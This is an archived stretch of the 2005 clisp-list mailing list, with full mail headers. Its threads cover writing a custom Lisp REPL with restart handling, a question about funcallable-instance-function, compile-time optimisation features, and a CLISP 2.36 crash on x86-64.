List-Subscribe: , List-Archive: Date: Sun Dec 11 11:33:00 2005 X-Original-Date: Sun, 11 Dec 2005 20:31:53 +0100 Surendra Singhi writes: > Hello, > How can I embed `clisp' repl into my program, such that when the user does > (exit), only the repl is exited, and control transfers back to my program? > > I don't want to write my own repl, I just want to use the repl provided by the > implementation. > > Is there any way of doing this? I think not. But writting one's own REPL is so simple, I don't understand why you wouldn't want to write your own, or use mine: (defmacro handling-errors (&body body) `(HANDLER-CASE (progn ,@body) (simple-condition (ERR) (format *error-output* "~&~A: ~%" (class-name (class-of err))) (apply (function format) *error-output* (simple-condition-format-control err) (simple-condition-format-arguments err)) (format *error-output* "~&")) (condition (ERR) (format *error-output* "~&~A: ~% ~S~%" (class-name (class-of err)) err)))) (defun repl () (do ((hist 1 (1+ hist)) (+eof+ (gensym))) (nil) (format t "~%~A[~D]> " (package-name *package*) hist) (handling-errors (setf +++ ++ ++ + + - - (read *standard-input* nil +eof+)) (when (or (eq - +eof+) (member - '((quit)(exit)(continue)) :test (function equal))) (return-from repl)) (setf /// // // / / (multiple-value-list (eval -))) (setf *** ** ** * * (first /)) (format t "~& --> ~{~S~^ ;~% ~}~%" /)))) -- __Pascal Bourguignon__ http://www.informatimago.com/ "Specifications are for the weak and timid!" From kavenchuk@tut.by Sun Dec 11 14:14:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElZSQ-00077B-On for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 14:14:14 -0800 Received: from speedy.tutby.com ([195.137.160.40] helo=tut.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElZSP-0002ZL-AK for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 14:14:14 -0800 Received: from [194.158.220.41] (account kavenchuk HELO [194.158.220.41]) by tut.by (CommuniGate Pro SMTP 4.3.6) with ESMTPSA id 32001491 for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 00:06:36 +0200 Message-ID: <439CA4AC.2060706@tut.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru-ru, ru, en-en, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 2.1 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Subject: [clisp-list] question about funcallable-instance-function Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 14:15:00 2005 X-Original-Date: Mon, 12 Dec 2005 00:14:04 +0200 How funcallable-instance-function can get slot values from own funcallable-instance? Thanks. -- WBR, Yaroslav Kavenchuk. From lisp-clisp-list@m.gmane.org Sun Dec 11 15:14:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElaOx-0001DT-SL for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 15:14:43 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ElaOw-0005PX-DB for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 15:14:43 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1ElaNP-0005Ki-Ms for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 00:13:07 +0100 Received: from ip70-162-67-138.ph.ph.cox.net ([70.162.67.138]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Dec 2005 00:13:07 +0100 Received: from efuzzyone by ip70-162-67-138.ph.ph.cox.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Dec 2005 00:13:07 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 31 Message-ID: References: <7jac5oyv.fsf@netscape.net> <17308.32425.959160.513115@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: ip70-162-67-138.ph.ph.cox.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (windows-nt) Cancel-Lock: sha1:QqZCW/jMNSkKnHb7nxYjAOuIQ3w= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Embedding clisp repl and exiting? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 15:15:04 2005 X-Original-Date: Sun, 11 Dec 2005 16:11:44 -0700 Pascal Bourguignon writes: > Surendra Singhi writes: >> Hello, >> How can I embed `clisp' repl into my program, such that when the user does >> (exit), only the repl is exited, and control transfers back to my program? >> >> I don't want to write my own repl, I just want to use the repl provided by the >> implementation. >> >> Is there any way of doing this? > Thanks for the code. > I think not. > > But writting one's own REPL is so simple, I don't understand why you > wouldn't want to write your own, or use mine: > I have been using your REPL, but the problem is that this repl does not has the full power of clisp debugger. The repl does not shows stack backtrace, restarts, etc. Regards. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html The best-laid plans of mice and men go oft astray. From pjb@informatimago.com Sun Dec 11 22:47:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElhTX-0005gf-IN for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 22:47:55 -0800 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElhTV-0001Rq-Rn for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 22:47:55 -0800 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 6756D58344; Mon, 12 Dec 2005 07:47:39 +0100 (CET) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 2473E5833D; Mon, 12 Dec 2005 07:47:36 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id E66DB8F2C; Mon, 12 Dec 2005 07:47:35 +0100 (CET) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17309.7431.870316.126614@thalassa.informatimago.com> To: Surendra Singhi Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Embedding clisp repl and exiting? In-Reply-To: References: <7jac5oyv.fsf@netscape.net> <17308.32425.959160.513115@thalassa.informatimago.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 22:48:15 2005 X-Original-Date: Mon, 12 Dec 2005 07:47:35 +0100 Surendra Singhi writes: > Pascal Bourguignon writes: > > > Surendra Singhi writes: > >> Hello, > >> How can I embed `clisp' repl into my program, such that when the user does > >> (exit), only the repl is exited, and control transfers back to my program? > >> > >> I don't want to write my own repl, I just want to use the repl > >> provided by the implementation. > >> > >> Is there any way of doing this? > > > Thanks for the code. > > > I think not. > > > > But writting one's own REPL is so simple, I don't understand why you > > wouldn't want to write your own, or use mine: > > I have been using your REPL, but the problem is that this repl does not has > the full power of clisp debugger. The repl does not shows stack backtrace, > restarts, etc. The why don't you tell it to do it? (defmacro debugging-errors (&body body) `(restart-CASE (progn ,@body) (abort-eval () :report "Back to my REPL" nil))) (defun repl () (do ((hist 1 (1+ hist)) (+eof+ (gensym))) (nil) (format t "~%~A[~D]> " (package-name *package*) hist) (debugging-errors (setf +++ ++ ++ + + - - (read *standard-input* nil +eof+)) (when (or (eq - +eof+) (member - '((quit)(exit)(continue)) :test (function equal))) (return-from repl)) (setf /// // // / / (multiple-value-list (eval -))) (setf *** ** ** * * (first /)) (format t "~& --> ~{~S~^ ;~% ~}~%" /)))) -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From zellerin@gmail.com Sun Dec 11 23:42:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EliKd-00087R-Sm for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 23:42:47 -0800 Received: from zproxy.gmail.com ([64.233.162.207]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EliKd-0000VI-Pq for clisp-list@lists.sourceforge.net; Sun, 11 Dec 2005 23:42:48 -0800 Received: by zproxy.gmail.com with SMTP id z3so1325453nzf for ; Sun, 11 Dec 2005 23:42:46 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=ZB3scyWIqiTH1wnomv/iYLIg6z4lFbP7Hl5fRaQ34iycltoqt4zyAq6Kno3YDG+pqLbt8m1mqyieweo0MA3O4TJPMIKg9HlyE0MtD0g0ir1yxiMvHX91SSe7PE7pEF00PcoFb0fK25KQfIhIOucP4+72C7bv8uNG/8IL+/CrVh4= Received: by 10.36.25.18 with SMTP id 18mr5789260nzy; Sun, 11 Dec 2005 23:42:45 -0800 (PST) Received: by 10.36.222.63 with HTTP; Sun, 11 Dec 2005 23:42:45 -0800 (PST) Message-ID: From: Tomas Zellerin To: clisp-list@lists.sourceforge.net, Tomas Zellerin In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: Optimalization in compile time Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 11 23:43:02 2005 X-Original-Date: Mon, 12 Dec 2005 08:42:45 +0100 On 09/12/05, Sam Steingold wrote: > > * Tomas Zellerin [2005-12-09 17:03:13 +0100]: > > > >> > >> do other implementation export anything like this? > >> > > This is all I know (no first-hand experience): > > http://groups.google.com/group/comp.lang.lisp/msg/a89e1a8b651a570d > > What does Allegro export? > Do any implementations have the CLtL2 functions? As I said, no first-hand experience. Probably for my present purposes I shall use what is available now, knowing that the situation is as is. Thanks for discussion, Tomas From kavenchuk@jenty.by Mon Dec 12 01:44:28 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElkEO-0005BV-IT for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 01:44:28 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ElkEN-000423-5O for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 01:44:28 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id YBJZFX7Z; Mon, 12 Dec 2005 11:45:46 +0200 Message-ID: <439D46D8.8040200@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Yaroslav Kavenchuk CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] question about funcallable-instance-function References: <439CA4AC.2060706@tut.by> In-Reply-To: <439CA4AC.2060706@tut.by> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 SUBJ_HAS_UNIQ_ID Subject contains a unique ID Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 12 01:45:02 2005 X-Original-Date: Mon, 12 Dec 2005 11:46:00 +0200 > How funcallable-instance-function can get slot values from own > funcallable-instance? Oops, excuse me. Question is closed. Thanks! -- WBR, Yaroslav Kavenchuk. From werner@suse.de Mon Dec 12 10:34:06 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElsUt-0002DL-Tz for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 10:34:03 -0800 Received: from mx2.suse.de ([195.135.220.15]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ElsUs-0004gw-I9 for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 10:34:03 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx2.suse.de (Postfix) with ESMTP id 06FD91BB24 for ; Mon, 12 Dec 2005 19:33:59 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Message-ID: <20051212183358.GA23050@wotan.suse.de> References: <20051208130929.GA23116@boole.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: Organization: SuSE LINUX AG User-Agent: Mutt/1.5.6i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 12 10:35:00 2005 X-Original-Date: Mon, 12 Dec 2005 19:33:58 +0100 On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote: > > * Dr. Werner Fink [2005-12-08 14:09:29 +0100]: > > > > Hi, > > > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0: > > > > Signal 6 is SIGABRT on x86-64. The crash is always at the same > > point regardless of the choosen optimization or SAFETY level. > > http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355 Does this mean that 2.35 also chrash on AMG64? Btw: A few printf's for debugging and the addresses and the file location found by gdb change a lot. In other words: the addresse space is fully broken. Werner -- "Having a smoking section in a restaurant is like having a peeing section in a swimming pool." -- Edward Burr From sds@gnu.org Mon Dec 12 10:47:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Elsi7-0002u1-LJ for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 10:47:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Elsi5-0004Em-A2 for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 10:47:43 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.93]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jBCIlAu6023171; Mon, 12 Dec 2005 13:47:11 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20051212183358.GA23050@wotan.suse.de> (Werner Fink's message of "Mon, 12 Dec 2005 19:33:58 +0100") References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Dr. Werner Fink" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 12 10:48:05 2005 X-Original-Date: Mon, 12 Dec 2005 13:46:09 -0500 > * Dr. Werner Fink [2005-12-12 19:33:58 +0100]: > > On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote: >> > * Dr. Werner Fink [2005-12-08 14:09:29 +0100]: >> > >> > this is the result from a compile for Linux on x86-64 with gcc 4.1.0: >> > >> > Signal 6 is SIGABRT on x86-64. The crash is always at the same >> > point regardless of the choosen optimization or SAFETY level. >> >> http://sourceforge.net/tracker/index.php?func=detail&aid=1376646&group_id=1355&atid=101355 > > Does this mean that 2.35 also chrash on AMG64? probably. > Btw: A few printf's for debugging and the addresses > and the file location found by gdb change a lot. > In other words: the addresse space is fully broken. it just means that you reach the printf's _after_ memory corruption already occurs. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.dhimmi.com/ http://www.iris.org.il http://www.savegushkatif.org http://www.openvotingconsortium.org/ http://www.palestinefacts.org/ Fighting for peace is like screwing for virginity. From lisp-clisp-list@m.gmane.org Mon Dec 12 13:32:32 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ElvHQ-0003ya-Ui for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 13:32:20 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ElvHO-0007Pv-Hr for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 13:32:21 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1ElvEe-0006q3-6W for clisp-list@lists.sourceforge.net; Mon, 12 Dec 2005 22:29:28 +0100 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Dec 2005 22:29:28 +0100 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 12 Dec 2005 22:29:28 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 32 Message-ID: References: <7jac5oyv.fsf@netscape.net> <17308.32425.959160.513115@thalassa.informatimago.com> <17309.7431.870316.126614@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (windows-nt) Cancel-Lock: sha1:ZEyXJgXFQ0qNYFCT/mpLY7PoD88= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Embedding clisp repl and exiting? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 12 13:33:04 2005 X-Original-Date: Mon, 12 Dec 2005 14:27:17 -0700 Pascal Bourguignon writes: > Surendra Singhi writes: >> Pascal Bourguignon writes: >> >> > But writting one's own REPL is so simple, I don't understand why you >> > wouldn't want to write your own, or use mine: >> >> I have been using your REPL, but the problem is that this repl does not has >> the full power of clisp debugger. The repl does not shows stack backtrace, >> restarts, etc. > > The why don't you tell it to do it? > > (defmacro debugging-errors (&body body) > `(restart-CASE (progn ,@body) > (abort-eval () > :report "Back to my REPL" > nil))) > Thanks. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | "O thou my friend! The prosperity of Crime is like unto the lightning, | whose traitorous brilliancies embellish the atmosphere but for an | instant, in order to hurl into death's very depths the luckless one | they have dazzled." -- Marquis de Sade `---- From werner@suse.de Wed Dec 14 05:25:46 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EmWdd-0006n5-0d for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 05:25:45 -0800 Received: from ns1.suse.de ([195.135.220.2] helo=mx1.suse.de) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EmWdc-0005F9-J8 for clisp-list@lists.sourceforge.net; Wed, 14 Dec 2005 05:25:45 -0800 Received: from Relay2.suse.de (mail2.suse.de [195.135.221.8]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.suse.de (Postfix) with ESMTP id 15AD3EED8 for ; Wed, 14 Dec 2005 14:25:40 +0100 (CET) From: "Dr. Werner Fink" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Clisp 2.36 for x86-64 crash on `make check-tests' Message-ID: <20051214132536.GA14284@boole.suse.de> References: <20051208130929.GA23116@boole.suse.de> <20051212183358.GA23050@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline In-Reply-To: <20051212183358.GA23050@wotan.suse.de> Organization: SuSE LINUX AG User-Agent: Mutt/1.5.9i X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Dec 14 05:26:20 2005 X-Original-Date: Wed, 14 Dec 2005 14:25:36 +0100 On Mon, Dec 12, 2005 at 07:33:58PM +0100, Dr. Werner Fink wrote: > On Fri, Dec 09, 2005 at 10:46:06AM -0500, Sam Steingold wrote: > > > * Dr. Werner Fink [2005-12-08 14:09:29 +0100]: > > > > > > Hi, > > > > > > this is the result from a compile for Linux on x86-64 with gcc 4.1.0: > > > > > > Signal 6 is SIGABRT on x86-64. The crash is always at the same > > > point regardless of the choosen optimization or SAFETY level. > > > > 